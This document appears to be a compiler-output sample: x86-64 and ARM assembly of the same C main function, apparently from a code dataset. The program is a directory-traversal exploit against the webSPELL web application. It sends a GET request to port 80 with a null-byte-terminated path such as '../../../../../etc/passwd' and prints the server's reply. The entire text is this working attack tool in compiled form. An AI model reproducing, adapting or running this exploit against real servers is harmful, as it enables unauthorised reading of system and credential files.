	.file	"extr_8559.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"Usage: %s host /path file\n"
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC1:
	.string	"RunEx: %s localhost /webSPELL ../../../../../etc/passwd\n"
	.section	.rodata.str1.1
.LC2:
	.string	"connection refused..try again"
.LC3:
	.string	"%00"
.LC4:
	.string	"data sent error.."
.LC5:
	.string	"%s"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	r12
	.cfi_def_cfa_offset 16
	.cfi_offset 12, -16
	push	rbp
	.cfi_def_cfa_offset 24
	.cfi_offset 6, -24
	push	rbx
	.cfi_def_cfa_offset 32
	.cfi_offset 3, -32
	sub	rsp, 4096
	.cfi_def_cfa_offset 4128
	or	QWORD PTR [rsp], 0
	sub	rsp, 1440
	.cfi_def_cfa_offset 5568
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR 5528[rsp], rax
	xor	eax, eax
	mov	rbx, rsi
	cmp	edi, 2
	jle	.L10
.L2:
	mov	esi, DWORD PTR SOCK_STREAM[rip]
	mov	edi, DWORD PTR AF_INET[rip]
	xor	edx, edx
	call	socket@PLT
	mov	edi, 80
	mov	ebp, eax
	mov	eax, DWORD PTR AF_INET[rip]
	mov	DWORD PTR 12[rsp], eax
	call	htons@PLT
	mov	rdi, QWORD PTR 8[rbx]
	mov	DWORD PTR 8[rsp], eax
	call	getHost@PLT
	mov	edi, eax
	call	inet_addr@PLT
	lea	rsi, 4[rsp]
	mov	edx, 12
	mov	edi, ebp
	mov	DWORD PTR 4[rsp], eax
	call	connect@PLT
	test	eax, eax
	js	.L11
.L3:
	mov	rdi, QWORD PTR 24[rbx]
	mov	edx, 8
	lea	r12, 16[rsp]
	lea	rsi, .LC3[rip]
	call	strncat@PLT
	mov	rcx, QWORD PTR 16[rbx]
	mov	r9, QWORD PTR 8[rbx]
	mov	rdi, r12
	mov	rdx, QWORD PTR GET[rip]
	mov	r8, QWORD PTR 24[rbx]
	mov	esi, 500
	call	snprintf@PLT
	xor	ecx, ecx
	mov	edx, 500
	mov	rsi, r12
	mov	edi, ebp
	call	send@PLT
	test	rax, rax
	js	.L12
.L4:
	lea	rbx, 528[rsp]
	lea	r12, .LC5[rip]
	jmp	.L5
	.p2align 4,,10
	.p2align 3
.L6:
	mov	rsi, rbx
	mov	rdi, r12
	xor	eax, eax
	call	printf@PLT
.L5:
	xor	ecx, ecx
	mov	edx, 5000
	mov	rsi, rbx
	mov	edi, ebp
	call	recv@PLT
	test	rax, rax
	jg	.L6
	mov	rax, QWORD PTR 5528[rsp]
	xor	rax, QWORD PTR fs:40
	jne	.L13
	add	rsp, 5536
	.cfi_remember_state
	.cfi_def_cfa_offset 32
	xor	eax, eax
	pop	rbx
	.cfi_def_cfa_offset 24
	pop	rbp
	.cfi_def_cfa_offset 16
	pop	r12
	.cfi_def_cfa_offset 8
	ret
.L10:
	.cfi_restore_state
	mov	rsi, QWORD PTR [rsi]
	lea	rdi, .LC0[rip]
	call	printf@PLT
	mov	rsi, QWORD PTR [rbx]
	lea	rdi, .LC1[rip]
	xor	eax, eax
	call	printf@PLT
	xor	edi, edi
	call	exit@PLT
	jmp	.L2
.L12:
	lea	rdi, .LC4[rip]
	call	puts@PLT
	jmp	.L4
.L11:
	lea	rdi, .LC2[rip]
	call	puts@PLT
	xor	edi, edi
	call	exit@PLT
	jmp	.L3
.L13:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	SOCK_STREAM,4,4
	.comm	GET,8,8
	.comm	AF_INET,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_8559.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"Usage: %s host /path file\012\000"
	.align	2
.LC1:
	.ascii	"RunEx: %s localhost /webSPELL ../../../../../etc/pa"
	.ascii	"sswd\012\000"
	.align	2
.LC2:
	.ascii	"connection refused..try again\000"
	.align	2
.LC3:
	.ascii	"%00\000"
	.align	2
.LC4:
	.ascii	"data sent error..\000"
	.align	2
.LC5:
	.ascii	"%s\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC6:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 5520
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, lr}
	sub	sp, sp, #5504
	sub	sp, sp, #24
	add	r3, sp, #5504
	ldr	r2, .L14
	cmp	r0, #2
	add	r3, r3, #20
	mov	r5, r1
	ldr	r2, [r2]
	str	r2, [r3]
	mov	r2,#0
	ble	.L10
.L2:
	ldr	r3, .L14+4
	ldr	r6, .L14+8
	ldr	r1, [r3]
	mov	r2, #0
	ldr	r0, [r6]
	bl	socket
	ldr	r3, [r6]
	mov	r4, r0
	mov	r0, #80
	str	r3, [sp, #20]
	bl	htons
	mov	r3, r0
	ldr	r0, [r5, #4]
	str	r3, [sp, #16]
	bl	getHost
	bl	inet_addr
	mov	r3, r0
	mov	r2, #12
	mov	r0, r4
	add	r1, sp, #12
	str	r3, [sp, #12]
	bl	connect
	cmp	r0, #0
	blt	.L11
.L3:
	ldr	r6, [r5, #12]
	mov	r0, r6
	bl	strlen
	mov	r2, #4
	ldr	r1, .L14+12
	add	r0, r6, r0
	bl	memcpy
	ldr	r1, [r5, #4]
	ldr	r3, [r5, #12]
	ldr	r2, .L14+16
	add	r0, sp, #24
	ldr	r2, [r2]
	str	r1, [sp, #4]
	str	r3, [sp]
	mov	r1, #500
	ldr	r3, [r5, #8]
	bl	snprintf
	mov	r3, #0
	mov	r2, #500
	mov	r0, r4
	add	r1, sp, #24
	bl	send
	cmp	r0, #0
	blt	.L12
.L4:
	ldr	r5, .L14+20
	ldr	r6, .L14+24
	b	.L5
.L6:
	mov	r0, r6
	add	r1, sp, #524
	bl	printf
.L5:
	mov	r3, #0
	mov	r2, r5
	mov	r0, r4
	add	r1, sp, #524
	bl	recv
	cmp	r0, #0
	bgt	.L6
	add	r3, sp, #5504
	ldr	r2, .L14
	add	r3, r3, #20
	ldr	r1, [r2]
	ldr	r2, [r3]
	eors	r1, r2, r1
	mov	r2, #0
	bne	.L13
	mov	r0, #0
	add	sp, sp, #5504
	add	sp, sp, #24
	@ sp needed
	pop	{r4, r5, r6, pc}
.L10:
	ldr	r1, [r1]
	ldr	r0, .L14+28
	bl	printf
	ldr	r1, [r5]
	ldr	r0, .L14+32
	bl	printf
	mov	r0, #0
	bl	exit
	b	.L2
.L12:
	ldr	r0, .L14+36
	bl	puts
	b	.L4
.L11:
	ldr	r0, .L14+40
	bl	puts
	mov	r0, #0
	bl	exit
	b	.L3
.L13:
	bl	__stack_chk_fail
.L15:
	.align	2
.L14:
	.word	.LC6
	.word	SOCK_STREAM
	.word	AF_INET
	.word	.LC3
	.word	GET
	.word	5000
	.word	.LC5
	.word	.LC0
	.word	.LC1
	.word	.LC4
	.word	.LC2
	.size	main, .-main
	.comm	SOCK_STREAM,4,4
	.comm	GET,4,4
	.comm	AF_INET,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
